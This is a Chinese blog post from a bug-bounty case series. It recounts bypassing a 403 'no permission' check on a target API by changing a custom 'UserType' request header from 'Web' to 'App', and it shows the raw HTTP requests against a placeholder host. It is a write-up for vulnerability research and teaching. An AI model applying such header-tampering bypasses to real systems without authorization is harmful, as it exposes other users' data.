【SRC案例分享-15】越权提示403无权限?试试这种绕过思路
原创
low洞百出
low洞百出
low洞百出
2026年6月26日 10:00
湖南
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明:本公众号分享的日常渗透测试、网络安全及 SRC 漏洞挖掘相关文章,内容仅供学习交流与技术研究参考。严禁将文中技术、方法用于任何非法入侵、未授权测试、数据窃取等违法违规行为。若因擅自使用文章内容开展非法操作或传播文章,所引发的一切法律责任与经济损失,均由使用者自行承担,与本公众号及作者无关。如有内容侵权,请及时联系处理。
前言
相信很多师傅在测试越权过程中经常会碰到即使有账号,测试越权总是权限不够的问题,其实这个时候也并非就没有操作空间了,可以尝试各种权限绕过的方式,下面分享一次测试过程中碰到的修改请求头进行权限绕过的案例。
案例分享
对目标资产进行信息搜集,测了半天也是没啥收获,基本上连能注册的都没看到。
后面又看了半天,总算看到了一个能注册的站点,注册了一个账号,进入系统,一看权限也是少的可怜;
基本上就是只有一个查看个人账户信息权限接口
GET /api/user/info HTTP/1.1Host: target.example.comCookie: JSESSIONID=abc123def456User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36UserType: WebAccept: application/json
翻了一下js,把有价值的接口都提取出来,直接全部跑了一遍,
难受,一个越权都没看到,返回全是403,提示用户无权限
HTTP/1.1 403 ForbiddenContent-Type: application/json
{\"code\":403,\"msg\":\"用户无权限\"}
测试了一下其他的也没发现什么能操作的,本来想着放弃了,后面实在是不甘心,好不容易有个能注册的至少比没账号好挖
又对着历史数据包看了一下,观察到每个数据包中的请求头都带了一个UserType:Web参数
这个时候就在想这是web端,难道还有其他的用户类型?
GET /api/user/list HTTP/1.1Host: target.example.comCookie: JSESSIONID=abc123def456User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36UserType: appAccept: application/json
直接改成app看看吧,将UserType修改成UserType:app重发
HTTP/1.1 403 ForbiddenContent-Type: application/json
{\"code\":403,\"msg\":\"用户无权限\"}
本来以为有希望了,结果还是403无权限
GET /api/user/list HTTP/1.1Host: target.example.comCookie: JSESSIONID=abc123def456User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36UserType: AppAccept: application/json
再试试UserType:App,nmd出数据了,权限绕过了,还是得细心哈
其实根据之前的UserType:Web就应该猜测到开发者的习惯,如果是app对应的应该是UserType:App,还是不够细节,赶紧提交了。
总结
挖洞过程中还是需要细心细心再细心,尽量不要因为自己不够细节而错失高危,对于403权限绕过其实还有很多其他的方法,欢迎师傅们讨论分享。
感谢关注,出货不迷路!
往期推荐
【SRC案例分享-14】来自\"官方\"的短信,是如何被炮制出来的?
【SRC案例分享-13】记一次把账号\"玩坏\"了的业务逻辑漏洞
【CNVD证书案例-12】未授权与任意文件读取漏洞拿下CNVD证书
【工具相关分享-11】告别\"古法挖洞\"-Codex接入DeepSeek教程
【SRC案例分享-08】你设置的密码,也许只“防”住了你自己——浅谈弱口令漏洞
【SRC案例分享-01】页面404? 接口401?说不定还能操作!
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论